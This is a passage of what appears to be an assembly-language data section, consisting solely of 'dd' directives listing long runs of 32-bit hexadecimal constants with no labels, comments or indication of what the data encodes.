		dd 27006C3h, 0AC009949h, 0E165F132h, 3C8A5D5Fh,	80001D7Fh
		dd 9763610h, 854C1B60h,	63DA05A4h, 4078754h, 18C38B25h
		dd 97E900D8h, 50664073h, 0BB1D1085h, 0DD4963D9h, 0E494655Bh
		dd 8647614Bh
		dd 164E38C0h, 495DE3A6h, 0B49798E0h, 0F5804991h, 0B5DAF15Bh
		dd 5FF38912h, 0ECE0900Ah, 45337B89h, 610EE410h,	0F422E3FEh
		dd 1F1DB0Fh, 0D16A1DA7h, 3C3C1549h, 8C46BC68h, 0AF1F927Bh
		dd 6938FC10h, 5B709122h, 198490F1h, 0A91C3D13h,	9400174h
		dd 0FF5AB450h, 4F2B9F0h, 0C35CAC67h, 20FF87F5h,	4BC85481h
		dd 27CC314Dh, 44F4C7E5h, 79876246h, 88398294h, 0EC070AB8h
		dd 0F4CF2F05h, 0ACC11188h, 0BED8037Ah, 5EF8B6BDh, 952C4346h
		dd 79F104A4h, 5B38F8C1h, 4423582Fh, 2C014E26h, 0FFAC9734h
		dd 0C2133028h, 239C3A15h, 18D2160Eh, 5CEB614Bh,	8F70A800h
		dd 4139BB8Ah, 0A4E2E05Bh, 0C1B202A8h, 255C0B1Ah, 0CE480440h
		dd 1D2A8D80h, 42F1C9B4h, 0A35A3B37h, 465E20D4h,	51C0014Ch
		dd 78655D7Ch, 2A3060C6h, 0F48F488Dh, 4F905A10h,	0E911088h
		dd 89F0B44Dh, 48025440h, 490E2116h, 0A373E7F1h,	0EF874E2Bh
		dd 0E588029h, 14832C48h, 505F2685h, 8C4BB8h, 0CDB57C2h
		dd 8050AE3Ah, 0EB014C00h, 5983AA46h, 241A9D8Dh,	465E8876h
		dd 0E60C7310h, 793EB528h, 75180043h, 6862B840h,	0E70CDB03h
		dd 2145B464h, 4680002Dh, 79852FDCh, 1200D70Ah, 1C42A150h
		dd 4C04A409h, 9C10CC4Dh, 0F0B3000Bh, 626A1808h,	99CB7CDFh
		dd 18497904h, 0E3E83EBEh, 0F90068C8h, 0B8A3B18Fh, 932DDFBCh
		dd 3C1C4808h, 0C92D8CDBh, 645467CDh, 4E5F604Ah,	4FB10530h
		dd 808453A0h, 0D8E9DA6Eh, 1DC1B007h, 93A417EEh,	28B220D5h
		dd 8C3048F2h, 0E99B2CC5h, 845444D8h, 8570D1EAh,	0B85069F2h
		dd 0F5B10017h, 5D71EF44h, 56123D52h, 30A17BE8h,	6E4F5C6Ch
		dd 0D16B02A8h, 0D667E88Fh, 8B36139Ch, 0C0DF88E0h, 0F3D0552Ch
		dd 2501189Eh, 2BEFD707h, 16836424h, 44154B4h, 0FD2C2348h
		dd 0A6AD21FCh, 40BD650h, 40D8C423h, 0C03A84B0h,	2A8598D9h
		dd 1491F44Fh, 0C31844D9h, 0BBF1BA02h, 74F704B7h, 0E8880938h
		dd 6D04E458h, 87513ED3h, 4C41A0A0h, 2F81707Fh, 822BD060h
		dd 8869828h, 0E4C52B5h,	1DF8A31h, 0C18E4B01h, 0A0042BF4h
		dd 233EFB42h, 0EA83074Ah, 0BBD900FEh, 0D662A887h, 56CB27B0h
		dd 0F8472D98h, 8D631464h, 6BEAC88h, 0B38F1613h,	9E7A2821h
		dd 354B430h, 841DFDC3h,	0D0B889F5h, 70C245D7h, 4D358A58h
		dd 56DEC024h, 0EF88A3F0h, 74ECBE5Ah, 0E9024B47h, 60EA77A1h
		dd 8A1040F3h, 0C814CAD3h, 6BF3C04Eh, 5B01B272h,	29DD8BE7h
		dd 9C54491Ch, 13F248B2h, 2D7F330h, 0BF46C426h, 88A0D418h
		dd 0D599ECA1h, 0CC72A02h, 7CF356D6h, 4690DC1Ch,	3CA7662Eh
		dd 0B7A3BA0Bh, 427584DCh, 5774887Eh, 24E08810h,	0F47FF912h
		dd 550B046Ch, 97990A5Eh, 814B914Ch, 5AB79DCh, 2E4D4E8h
		dd 548A84C0h, 20D0B7F0h, 7CEF853Ch, 1035C334h, 9AF7D8F8h
		dd 7898A380h, 0AA009841h, 0F37A9366h, 5EB7BC13h, 806C85B4h
		dd 2EF9E920h, 89D85125h, 80BC37D0h, 697EE3Ch, 0B8BC3210h
		dd 7D787849h, 0D9CA5BF7h, 0B23872D8h, 8F423017h, 5C59F00h
		dd 82D4E48Dh, 883038ECh, 0C2640CDEh, 0FE8C1C58h, 838C138Eh
		dd 3B0C387Bh, 0E8E8001h, 0E6315FBCh, 7C6896EDh,	5A8CDFBCh
		dd 0F8C8C0A8h, 7700F24Bh, 9911D3Eh, 5CBEBBE6h, 2302DCEAh
		dd 3948EC85h, 89C7F080h, 1D058EF2h, 0DFF4B7BEh,	0C0689819h
		dd 0FC285AE1h, 69DAB818h, 8725BC2Bh, 0E4288EC4h, 10F4B4DBh
		dd 0DCE89C5Bh, 1FE68200h, 56789B46h, 0F8849D31h, 9B1652h
		dd 613C9280h, 88176249h, 0CD015B0h, 0C991AAEh, 3CB52785h
		dd 0BC0020B9h, 32166174h, 12732851h, 0F6362185h, 0C46FB01Ch
		dd 18D1091Dh, 68022975h, 0B85AB5DBh, 98BC0927h,	885E7738h
		dd 0B078551Dh, 0F41C967Ch, 83EFEC25h, 5B37B618h, 0C8E48E30h
		dd 0BCDBC011h, 930B5EDEh, 0C260E483h, 52E42B2Ch, 2C900B24h
		dd 84717C42h, 0BA67DD40h, 0A5BB124Ah, 0F25CA2E0h, 3E5A3042h
		dd 2D5C69E5h, 0EB3844BFh, 7040BBD1h, 4EEF3383h,	23302E9Ch
		dd 5D240048h, 0DC80BA7Bh, 9C12E4BCh, 42A278E3h,	3CBABE30h
		dd 98249DC5h, 400DC68h,	0E30179B0h, 3BB85861h, 0F45028F4h
		dd 30490B15h, 2050489Ch, 6B985Eh, 2B5C5A2Fh, 29DA5E0Eh
		dd 3A0C8BEh, 80704AB4h,	4B935BE4h, 421D7F01h, 8D23892Bh
		dd 0ACF3C4EBh, 0F3047A2h, 0B0510118h, 0B3B8A6C1h, 22547CDDh
		dd 0DC819F14h, 504208B4h, 6338EC08h, 6BBC4082h,	40418249h
		dd 5800F66Ch, 5CD7F6D0h, 16ECA8E2h, 1B29008Ch, 40B611B3h
		dd 5400BB6Fh, 37BAB060h, 279F2E3Bh, 0ECA78442h,	166CFA3Dh
		dd 0A940F41Ah, 3C35AF0Eh, 0CC140059h, 2443DCBFh, 53C258Ah
		dd 0F89C7F32h, 0B59925C0h, 85B68790h, 0E47DF078h, 5099744h
		dd 2B98A95h, 43B56B4h, 8F9088B3h, 0D01C7B00h, 3135112Ch
		dd 4CE0FCF2h, 0D8F58B4h, 9AF4DDE0h, 0BA2C3F87h,	0B878D8C9h
		dd 4D30422Dh, 0F0DBAD48h, 7DB38F3h, 0D05658C2h,	17E04AFFh
		dd 0D400E4E3h, 60178F00h, 7BF9EB6Eh, 0C9CC6012h, 9F5DF131h
		dd 90DD605h, 0C0057B4h,	88B2F3BEh, 46F22640h, 0B3090688h
		dd 48EB210Ch, 1F606BD0h, 0BA793A2Ch, 3C71F97h, 669F0080h
		dd 0FF686447h, 0AC421538h, 1C0B4CB1h, 67244F61h, 0D63F7695h
		dd 0C33C7F0Eh, 5AA0144Ah, 4A23203Bh, 6E8E4500h,	95325EDh
		dd 189CD220h, 1C0AA452h, 8880592Bh, 928DF100h, 0BC2707B8h
		dd 0EE0960B8h, 970EC0C5h, 1646F534h, 4AC8708Bh,	4B6655C1h
		dd 5970CFCDh, 949C4C03h, 2D190810h, 308C44B3h, 79A1DE17h
		dd 2800EB85h, 0D9485155h, 5BE8DAh, 931F755Ch, 23DBBB80h
		dd 6230E412h, 0C02A3C0Bh, 59BFF574h, 215B6C2Fh,	6ACBA650h
		dd 4823043Bh, 0E33E2600h, 7CA986D4h, 748F1292h,	0B2A0A3F9h
		dd 0BB53046h, 0DDA74E02h, 0C00C5830h, 1833D100h, 58CD7887h
		dd 670A89BFh, 0B8EC6A4Fh, 54003611h, 442D2F91h,	4A2E1276h
		dd 6080B081h, 0BF598B25h, 9BE82754h, 0B0E31001h, 943B7FCFh
		dd 22004623h, 0F9248BDAh, 23545B3Eh, 0E7BA87E8h, 350F009h
		dd 0A3B221B9h, 410039E3h, 0D2A7956h, 56CEFA9h, 174EE742h
		dd 23983A6Bh, 3A8C0045h, 0E3FBE94Bh, 0CC84404Eh, 6B5BB0FDh
		dd 4EF700ACh, 87088818h, 9D1173Dh, 0EE8C20B7h, 45412BEFh
		dd 0AABC643Fh, 253BF06Ah, 9C1E5681h, 0CC5CC78Fh, 3896D40Ch
		dd 0CDF6273Eh, 0F22C0FCh, 0C29763BEh, 14C47E00h, 5DC1D03Dh
		dd 78F0D0B7h, 0BC838700h, 0A0A95695h, 54BC744Dh, 28DDA800h
		dd 0EF5386E7h, 0B8092DEEh, 0D0848812h, 2508BC60h, 244418h
		dd 889AC424h, 0B374AEA7h, 5DD3E3A0h, 9212B900h,	0B46582Fh
		dd 1E4F2C55h, 48467470h, 2063EF00h, 0D4B0B962h,	0D1EC80A0h
		dd 96812E80h, 0AFBD86E8h, 7CB4193Ch, 486E976Eh,	570AA17h
		dd 0F557D424h, 0BB9820C8h, 956A1901h, 0A0DE2D56h, 23142F7Fh
		dd 0B5800FE4h, 94B8C402h, 0CE91ACD4h, 0C07B9C25h, 3E8F858h
		dd 22EE5AF1h, 5DDAAD04h, 17B788D8h, 8248911Ch, 0FE50199Ah
		dd 0C900493Ch, 92165D2Fh, 57829C91h, 0AE284C68h, 0AEEE20C0h
		dd 0BEA9D336h, 0E4972774h, 4E804591h, 5805130h,	463CE416h
		dd 583DC8A2h, 0B80D8892h, 0C0CE5AA4h, 0C8C04588h, 385FE935h
		dd 6989EE60h, 88CD87F3h, 0B88461C4h, 34873081h,	86F05h
		dd 0D428CC53h, 0B5EBFF83h, 0A3CB019h, 47A27842h, 12BF30h
		dd 9778E13Dh, 3807F054h, 4A84C695h, 0E2E4E358h,	19A43014h
		dd 8803C077h, 0C854696Ah
		dd 8060F663h, 95E440B0h, 8FBCB0C0h, 17DEA020h, 8378D25h
		dd 17ADE3CCh, 80E4913Ch, 2D102F8Ah, 0B44301B3h,	4B3E63D0h
		dd 48742E6Eh, 0E39D008Bh, 87BBFE02h, 8A2869DCh,	0D2B8143Dh
		dd 5B42473Dh, 0C500887Ah, 0ED776EC4h, 9B03B93Fh, 173DDBF1h
		dd 0E36900E0h, 964758A4h, 0E13E047Fh, 7AD3005Ah, 8DD233F9h
		dd 552A03B1h, 0CBEFFF25h, 6CF4B0D5h, 8BE428F1h,	0C4BC4750h
		dd 0F0C06014h, 57D3006Dh, 5C21D7E2h, 0D940B487h, 0D162EA8Dh
		dd 7BBCC4D1h, 0FF7A9300h, 9C87BCA9h, 1FB0B1DCh,	0C20581F3h
		dd 6AA61572h, 0DCBDF452h, 9F0657B8h, 0C68E8D4Fh, 20AE97A6h
		dd 36B17EE2h, 49793CD1h, 38012318h, 20DF1467h, 6830F336h
		dd 0AD3A414Ch, 71037C0h, 0E0E0ECC7h, 0B17842D4h, 0B0496B0Bh
		dd 2841188h, 37412034h,	5791667Fh, 0A3174F29h, 3142F288h
		dd 0AC202F1Eh, 149E34Ah, 0A23469A3h, 0C0CF43BBh, 2413567Bh
		dd 1891E4F9h, 203DB5DAh, 58EC2304h, 948C164Ch, 18CC2D2Bh
		dd 2071BCE2h, 6E1848D1h, 993F8C3Eh, 92194355h, 7E04307Fh
		dd 58715B33h, 4880405Ah, 0C9608941h, 68793D21h,	0A0B7BD02h
		dd 67B40ADFh, 0ECB86027h, 0C700CFF4h, 389EA83Bh, 88D9DAh
		dd 8D337F39h, 0B4320361h, 641DC006h, 9F97A42h, 2A568CFAh
		dd 0E11B01Dh, 0EC1DB981h, 56447438h, 0C047E827h, 5EE48364h
		dd 0FD88C5C0h, 1B7B8C8h, 71D7A06Eh, 0E4B8990Fh,	0E4F6BCB6h
		dd 528040F5h, 0A1B52480h, 0EED0AFA0h, 33C6BA01h, 304CA268h
		dd 6975D558h, 7DF46C01h, 8D088BAh, 7417E072h, 1AA890F6h
		dd 0B4195606h, 9D40F1D2h, 546B7Fh, 8DE5EA70h, 41742A2h
		dd 1FF05721h, 0D2850E61h, 70AC5812h, 0B81CA9D3h, 41D500D2h
		dd 4DB3D610h, 50373E3Ah, 0EAF48935h, 0F01CB2C2h, 6050B414h
		dd 6C718A95h, 0CC9CB3F4h, 5F80AA9Fh, 2185D8FFh,	983142Ah
		dd 5B2550BAh, 4EE40445h, 0D0956D61h, 0FD0C03EAh, 483906F6h
		dd 0BE10FCB7h, 685F4188h, 87FC21ACh, 4ACF7AA9h,	0C0C46D09h
		dd 481D39E6h, 5E750E09h, 38D1DCh, 377DF1CFh, 0CD002F71h
		dd 0DBFFD8ADh, 0B78CCC03h, 662A1000h, 0E450B0AFh, 8B4BB294h
		dd 0E88ACCEh, 0BA8A92C0h, 0B2834EBDh, 578F1348h, 60A6780Eh
		dd 0C28AA0D5h, 0BF442469h, 68972700h, 0ED801591h, 0F905713Dh
		dd 0C8049207h, 0D0047FBCh, 444B8C9h, 0A97434ABh, 0E8A0B864h
		dd 0E8F70506h, 28F2177h, 742B97D4h, 81523E02h, 22859828h
		dd 0ECD006D1h, 9D4E5ADCh, 0A2403384h, 61343015h, 0B909F47Fh
		dd 763A4501h, 0A97540D8h, 0D0F81AC7h, 0BB39403Fh, 3DEE8E8Ch
		dd 92AC277Ch, 60DBB051h, 5F2A9CCh, 1DB48EBCh, 0B1BCA801h
		dd 2909FE88h, 29BA860h,	89951F5Fh, 0C841D73Fh, 0E0B31039h
		dd 0B8261616h, 809C3C60h, 75CC5020h, 10603057h,	0D4B7BB20h
		dd 0BA026094h, 561AE868h, 49467624h, 16738D00h,	2FF0568Eh
		dd 68C83751h, 489BD270h, 0B7DACC82h, 508B8C4h, 2D33C8ECh
		dd 0F9599425h, 265BECA8h, 3ABA1694h, 4EC4015Eh,	2B3189F0h
		dd 885DF088h, 0FC12B898h, 34161BF3h, 13C814CEh,	194518C0h
		dd 50941CBDh, 0FCC28BF6h, 98805459h, 0C65C067Bh, 3E645BE3h
		dd 4523A8h, 7DEF74Ch, 5A1CB4C1h, 0CB911235h, 7B992B00h
		dd 0B9877D0Fh, 0DFFD1A00h, 0D0589077h, 454F4BAFh, 0A8700278h
		dd 0BF32C2F0h, 1168C0D5h, 0E28D4A28h, 749922C0h, 845013F1h
		dd 0D300AD71h, 0E5B2E8F2h, 98ADA730h, 54F4040Fh, 88C48345h
		dd 991F5BFCh, 828981B9h, 40CC7C5Ah, 0A86EC38Eh,	4A65D012h
		dd 803CB408h, 0F8DBB182h, 0B0000139h, 3E54AE4Ch, 2B298FCh
		dd 528D71D6h, 0D4605B90h, 1880D43Ch, 38492E6h, 7363094Ch
		dd 0BEAA8182h, 74A644F6h, 0BC106760h, 25B609C9h, 8C4054ECh
		dd 0F4B0E329h, 694048BCh, 17A824Dh, 55D4B2ADh, 0FC155953h
		dd 245A875Ch, 0C9BA8400h, 273E6B17h, 7C89318Ah,	0DCD4DEh
		dd 0A4C64D67h, 5809DA0Eh, 0CFC8016h, 0FB0524A6h, 0FD5CE0EBh
		dd 105C4C30h, 164E55A0h, 80289B7Ch, 0EB62BF96h,	0A4174B52h
		dd 4C1E6E34h, 0CBEC25E6h, 0F871390Ch, 8DE740C8h, 99178C9Eh
		dd 28D820DAh, 1D012509h, 41F44918h, 0C029A35Ah,	0D62C50B8h
		dd 39114012h, 2897BB06h, 0CC80A8EFh, 0EE754A25h, 98D7E002h
		dd 591E4F54h, 184379ACh, 9C974C4Ch, 4A44E310h, 4C13861h
		dd 8034E311h, 4173B139h, 10FCEC6Fh, 5F4617C7h, 0DFC84C9Ah
		dd 0F0570AC0h, 503962D7h, 0F2822FAAh, 2F5D343Bh, 8BF00320h
		dd 488C74Bh, 0FDEDE9DAh, 0A5B2218Ch, 0EA40D44Dh, 0B12C2C9h
		dd 0B2DADC87h, 0FC9EECE4h, 13474676h, 1008F37Fh, 5B8F80DBh
		dd 0AD0EA161h, 6959EE1Fh, 4193803Fh, 56904F24h,	6BA4BC25h
		dd 0F36720EDh, 0E660BC17h, 28ADE447h, 20F07F96h, 59014283h
		dd 8FBC8EBAh, 2821E0C0h, 8C1CC53Eh, 0F6006EE8h,	0C357597Ch
		dd 1647D5ADh, 0B76F1069h, 2529B190h, 451CD22Ah,	2AE5204h
		dd 1A788B4h, 78EB5BF5h,	0D7004FA9h, 0C52AF4BFh,	5816612h
		dd 0B99733EEh, 0A4E7EB07h, 6D25FA0h, 0A1BD8907h, 83631430h
		dd 0E68180C1h, 917D0128h, 419D017Fh, 3B1E811Dh,	3F860FD9h
		dd 97FDD0ADh, 801D9186h, 0AA6880BDh, 93050019h,	666E1196h
		dd 291FD98Ch, 6C32798Dh, 0FCD40F6h, 0FFD15B84h,	0CA5F960h
		dd 12EC00B5h, 95FF5F8Fh, 36D02E45h, 8C1CE8B1h, 5499C900h
		dd 7762DDCDh, 0AB0E5EE6h, 15587840h, 13DCC42h, 1EEEB8EDh
		dd 6F0F8385h, 7677EDh, 1147D850h, 45DFBF8Dh, 0A95E5238h
		dd 17D1CB5Bh, 56B80B18h, 0B5198BE4h, 2BD81C05h,	817BF5F2h
		dd 0BBAF458h, 57297F76h, 1B97E877h, 893A0747h, 0D0AB6DD9h
		dd 0BF0F7204h, 3DBAFA61h, 0DD8D0834h, 20351186h, 6639D71h
		dd 503DE990h, 40351F17h, 0C0528B0Bh, 3114E253h,	2BE96EC1h
		dd 0B6ACAA00h, 0C4F5FCB0h, 0C8A86D00h, 22F4F229h, 0F440701h
		dd 27FE8B20h, 8ED844C3h, 0C0178843h, 0AE1D93FAh, 0BD958918h
		dd 3085C7D7h, 330C2A05h, 3A0CCE5Dh, 3B01830Fh, 80E2DCFCh
		dd 52B6BFF0h, 810C2273h, 341AA5BDh, 175192D0h, 0AB30850Fh
		dd 5480449Eh, 77FDA53Dh, 85FF4B14h, 0FA663031h,	0A3AD9509h
		dd 0B5F5CFA2h, 0CE810F41h, 8A203885h, 17116069h, 31F2C2BFh
		dd 151DBD32h, 33DAD790h, 0A7F37100h, 4E223B3Fh,	0D0540FC6h
		dd 1B204746h, 6D178251h, 2EEF695Bh, 3B1B239Ah, 0F92AE180h
		dd 9133D8DCh, 7D83E291h, 32EE7E3Ch, 0F2D8E432h,	58FCDBDFh
		dd 3760AFE6h, 9D29F042h, 52154905h, 0D8391122h,	24C00043h
		dd 8D815B08h, 0B5401AFh, 0C5F57F72h, 886F4B71h,	0A82DC01Dh
		dd 4B028E88h, 689D9265h, 8462B5A1h, 8EBF5FF7h, 0C2158865h
		dd 0DAD70D05h, 2FAE05CDh, 0C3EFF7Eh, 0F806F389h, 88E65EC1h
		dd 0F86E287Dh, 8C1DB815h, 0CFB3A000h, 0D50F1FEFh, 36080399h
		dd 0FFF839E9h, 58E6BE8Dh, 0C44F01B7h, 38E9F4FFh, 0C18BF816h
		dd 8889CBEFh, 8C9C019h,	0D816CF46h, 0C7EEEBACh,	0CD770B38h
		dd 6C0160AFh, 0E1007BECh, 831E448Ah, 5AFDB531h,	8F05FE1Bh
		dd 388F0F99h, 84C01D88h, 0EEC434FEh, 8A230465h,	809076DEh
		dd 508B27D4h, 21E10AC4h, 0E29CD398h, 6E62000Ah,	0A310B152h
		dd 73003075h, 0FCA532E6h, 4C3D0918h, 15EC396Ah,	42703E8Ch
		dd 0E86BC782h, 51F76019h, 1816D19Ch, 0DA752DEDh, 0AC9FA0F7h
		dd 14AEA7h, 6051EF41h, 0F5E5F61h, 0C7048722h, 0A2386CF0h
		dd 0B080F9B7h, 6180EC0h
		dd 1AC466A5h, 42944F60h, 3802157Ch, 0DDBD2BCDh,	3259F503h
		dd 0C9D66380h, 0AD529E5h, 5C08393h, 194674E7h, 8AF35E00h
		dd 902E070Eh, 1F810F34h, 52599E1Ch, 0E91112EAh,	0A30B800Dh
		dd 0F49F975Dh, 0DBB600F9h, 0A10E7C14h, 31280F3Eh, 0BC0314E8h
		dd 8488EEBAh, 3917F03Fh, 622315FDh, 5A0AA50Dh, 0DED59058h
		dd 178BE80Eh, 5EFB6252h, 0D08F9B51h, 1F37B66Dh,	0B0AA0DF5h
		dd 3ABE6660h, 4FC6FF9h,	608C1BE8h, 0D8E91F19h, 53B074B6h
		dd 241A7120h, 4B198A0Fh, 7917D03h, 84861921h, 263DBDh
		dd 0A8FC9D8Dh, 7F29FF17h, 182C30B8h, 0F6019ADDh, 0D3FF8CD1h
		dd 0ADC0BD7Ah, 23915FCh, 87C41763h, 59918B0Fh, 0E4E3A611h
		dd 44236D08h, 80D82F8h,	0B5895120h, 56494B9h, 569DE95Eh
		dd 0D498EBC7h, 938E92CAh, 0C81679BAh, 790283EFh, 0F42A12Ah
		dd 580B5288h, 358023E9h, 0CA5FDCE6h, 86E170B9h,	5A090189h
		dd 0F9C0DC05h, 0B601E485h, 100574B3h, 4010A98Dh, 84F5EDFFh
		dd 1AF99D0Dh, 0E381F743h, 28CC7B86h, 5C0B1D19h,	0A921BBDBh
		dd 17514BA1h, 0A3144318h, 22DB62BEh, 168376B5h,	0EF180C5Fh
		dd 972217D4h, 4D432010h, 980079B1h, 0F0A8E50Eh,	251C459h
		dd 0D71F07F5h, 5BDF9FE9h, 0EA19006Dh, 1C12FF7h,	0BB3C6973h
		dd 0FE6382CDh, 8D85C799h, 7A88ED3Ah, 0C5A80481h, 0E9CB800Bh
		dd 0FBEFD773h, 39985A40h, 9D090B08h, 4CD72551h,	349D9082h
		dd 24182981h, 88AFDA4Ah, 90F0C01Bh, 0E90A969Bh,	0A455E7EAh
		dd 2FE0AE67h, 1F489720h, 0C0C73EEFh, 5D7291D0h,	8D48CE90h
		dd 0B43AD607h, 0F10A1523h, 0B909EFCEh, 0CD361009h, 23818018h
		dd 73FEFF39h, 0DE8C0F3Dh, 0C6460FBh, 0EF07A424h, 7980345Ah
		dd 80BD8E19h, 77BAD763h, 12D9FEAEh, 44DB8C66h, 0E0C3F6F1h
		dd 4B8B2163h, 0B593016h, 0BEAAD9B5h, 4007E104h,	0BA66B99Fh
		dd 3AE52690h, 24040066h, 0D4E9F18Bh, 5D00F7D2h,	3FBA2FCCh
		dd 48E6E0B0h, 14E80570h, 0E4E2168Ch, 23803A71h,	8ADE001Ah
		dd 2620980Bh, 0B60F440Bh, 148D7D8h, 4600F8D4h, 6C45C03Fh
		dd 0C5692B0h, 2B9DBD0Bh, 0BA485FF4h, 9ABA9729h,	0F1D5C0ACh
		dd 3F4E59FAh, 77947AF3h, 522B948h, 0B1FCBE01h, 0C38B33FEh
		dd 41B8C23Dh, 0BEDC7100h, 5F6D31E6h, 4E825C1h, 0E800A537h
		dd 0BCDC2A6h, 234F0135h, 95893AB4h, 0FF6389Dh, 23E2F766h
		dd 122D09BDh, 3AD82B12h, 1C2378h, 0C498DFDCh, 7C0B1F66h
		dd 8689ADEBh, 0C45816B0h, 0F34C576h, 241CA550h,	0EFE78880h
		dd 672D9C48h, 0C5C6B060h, 63023172h, 7DE6B966h,	86347161h
		dd 0B3398509h, 879447ACh, 61D81FD4h, 0C0E6817Fh, 452B0822h
		dd 5D42587h, 12800F55h,	81FD802Ah, 0DE0034D7h, 613C360Ch
		dd 4D40830Fh, 4A519E02h, 0ACC3B97Ah, 29300632h,	7E2161BDh
		dd 0BA99BA72h, 17181AF9h, 1884101h, 8BD66D72h, 477BF5E6h
		dd 12C5558h, 33A86EF8h,	35BD9D89h, 6B4D5422h, 0F76D012Ah
		dd 0A8126788h, 90204325h, 431C4911h, 23902E96h,	0CBE3AC14h
		dd 1AE97402h, 0BF665800h, 4499794Dh, 1012E50Bh,	70055F7h
		dd 9E97C623h, 47ED6C2h,	1D015656h, 0B6708E91h, 4874FE84h
		dd 89EC0F62h, 3384D910h, 0B3ED3912h, 0F016237Eh, 3401B768h
		dd 8650BD6Fh, 2BF2DCEEh, 0DD587844h, 6E2EF415h,	13001B23h
		dd 728CBA6Ah, 0ACF8240Ah, 3F10B97h, 5BCE69DFh, 29B96Fh
		dd 8B1336DEh, 34AC90h, 352AF542h, 0E9C51D48h, 37C32B27h
		dd 36CB00A9h, 0C0DE8CC6h, 0B718EA01h, 26598589h, 2F38A605h
		dd 193D7D5Dh, 6D1F500h,	287F6Fh, 3EF09798h, 0E9F7B70Fh
		dd 0A02D3857h, 7127515h, 7181579Eh, 0BF39551Ch,	3D6187B4h
		dd 6B840C36h, 0C2C08BFFh, 0DDABE1B4h, 6341554Ah, 0BF00E271h
		dd 5C7CE169h, 0B518AD66h, 139D1620h, 427E9135h,	52CE2DA3h
		dd 0C827CE17h, 602FC014h, 0AD5B858Bh, 6661DA0Bh, 0DCF39E30h
		dd 304C38h, 0DDA731D2h,	166CBF84h, 646615ACh, 6AB222h
		dd 8B1D5EB1h, 0F80B2Ah,	77D4F147h, 0BE66BA18h, 5F59CE76h
		dd 8D0F842Dh, 9EFBF7D8h, 9FB70B97h, 0CDF1E786h,	2D5CE9F2h
		dd 0AC0F3F34h, 0C8B66FEh, 0B44DD5ACh, 82C6296Eh, 5919A5FEh
		dd 0B03727DBh, 0B8D52C3Dh, 6409510Bh, 0B3837D6h, 33A969C2h
		dd 7E8052B7h, 9B32BEA7h, 770C4987h, 0ABF5FC17h,	42C145DAh
		dd 0D813F33Dh, 0D554B52Bh, 1F01BFDFh, 90ED049h,	0C665E9BDh
		dd 22F3B403h, 0E4C421C2h, 0F5092AA9h, 200C6884h, 0C22B05BDh
		dd 8E98D27h, 824679F7h,	0F6D7BFD5h, 6B238640h, 0F971D400h
		dd 0AF12CC09h, 5E8A3BA3h, 25CDB58Ch, 40B66E3Bh,	10755C31h
		dd 52E1BE00h, 607F7E17h, 0C26A9AEAh, 59FBA950h,	371A00D6h
		dd 7ED77729h, 1E01AFE4h, 0C58C8394h, 192CB922h,	0DC56B472h
		dd 0AFE35B01h, 9CA98B4Ah, 40C13960h, 8D2D2131h,	0DA3A8A75h
		dd 8AD79D13h, 2C7D9561h, 2893E025h, 0DB988431h,	72ADCED0h
		dd 33F04801h, 0BBD85E79h, 884FB818h, 264BA41h, 833D2848h
		dd 456201E1h, 0D8DD871h, 47149D23h, 0EDE646A6h,	822D520h
		dd 100D8D29h, 54BD3D22h, 0C0372D16h, 2E00FC1Ch,	0CDD0A128h
		dd 0BC710B21h, 0CDDF6061h, 0C09160F7h, 3C505A67h, 3F2ECAA2h
		dd 3A606722h, 0F8BB3872h, 8E90049Dh, 9D83DBA3h,	0A848291Bh
		dd 0DE79268Fh, 9D71248h, 0E08BC900h, 0C0FBEDF5h, 667430A0h
		dd 2A9DB818h, 0BD0E2D50h, 2DE95D4h, 0B2A57066h,	0D4602D90h
		dd 0C906DD7h, 0D91AC923h, 21002356h, 3035A521h,	7FCD8E05h
		dd 55D19F0Eh, 9D310977h, 0A78570E9h, 0F5BD0473h, 5F17140Bh
		dd 86001A6Eh, 3D4CB49Dh, 9A3EC76Dh, 800F1334h, 7F3DBACDh
		dd 0D94C1353h, 41156D10h, 5F8339D0h, 5F4C27ABh,	1230A585h
		dd 3065A512h, 0EA6D13AAh, 0EC1E38EAh, 583094C0h, 9A532174h
		dd 880C2190h, 81000249h, 0C304F9DAh, 4678D077h,	0D7B81F5Dh
		dd 7C170B01h, 26949323h, 73BEC0h, 600AE4ECh, 14B18D33h
		dd 850F9499h, 1B69251h,	9A449600h, 5AECBD93h, 0CB15D300h
		dd 7303488Bh, 7143E84Bh, 2C6AA961h, 893739A7h, 0A740B00h
		dd 5016D42Ah, 0EBC5CCCEh, 4830C648h, 5E4920A1h,	0ED1FEABCh
		dd 78815C6Fh, 9E11864h,	42AD7Bh, 0FF60B6DCh, 0DFC9A0h
		dd 0A50DFE6Fh, 0AD6D734Dh, 0A8D65005h, 12C1578Bh, 31265EFFh
		dd 20D9951Ch, 0D0DF8102h, 0C9238441h, 0B87E022Fh, 0BEEBC303h
		dd 0DBA0F07Ah, 0C84000AEh, 292F77F1h, 5491959Dh, 4720B58Bh
		dd 631764D7h, 0E6F9D88Bh, 0D72BB2F5h, 87DBEB86h, 93DB1380h
		dd 6E09D0ECh, 70B6C610h, 0B58909A6h, 0FA340315h, 1F8D9537h
		dd 0F7AD686Ah, 7B9B05A0h, 230A8AE6h, 22B99C41h,	93CF2296h
		dd 0A4CF1688h, 6881C6E4h, 0ACC761CEh, 19E7F8A6h, 0C194002h
		dd 2A94E3DAh, 0C07BEDEBh, 65B79F10h, 60714678h,	5D2F9E98h
		dd 11E6AE0Dh, 20FD612Dh, 0D6F655D2h, 12AC03C6h,	5054464Fh
		dd 0B8A9DC5Dh, 0B03B0706h, 1995897Fh, 7EB99A1h,	5E33161h
		dd 0D3CB9B40h, 55953A80h, 80151FA6h, 2E6D27DFh,	0C0B122C0h
		dd 9DB700C7h, 8A14507Bh, 0C1008BCAh, 1C8F4FEBh,	3ABFA25h
		dd 0DAC6A108h, 0D4D0A4ACh, 0E4E25CD2h, 340ECEE0h, 0A11BF531h
		dd 0D129B327h, 0FDD5BE4h, 17E62AC7h, 87DF9E9Fh,	0AA6DB67h
		dd 87007C01h, 2352DDB4h, 0E19ED920h, 28AFE911h,	717E50CEh
		dd 552F0594h, 133D59B9h, 0D5A884B8h, 0C20903C8h, 44BAC704h
		dd 0DC76718h, 46AE2C32h
		dd 0EBC00323h, 7D02BD81h, 14D560E8h, 0DD8BB99Ch, 0D9C5F522h
		dd 0D0311364h, 9D8D0004h, 0BBB55E0Eh, 8A119868h, 0B45B1A10h
		dd 0E03AAD8Ch, 1699AB9Fh, 0C15FB901h, 0E18589F8h, 66A8C5B1h
		dd 8D04ECBAh, 1B34F6F8h, 0DB841818h, 7150CC49h,	8B579FAAh
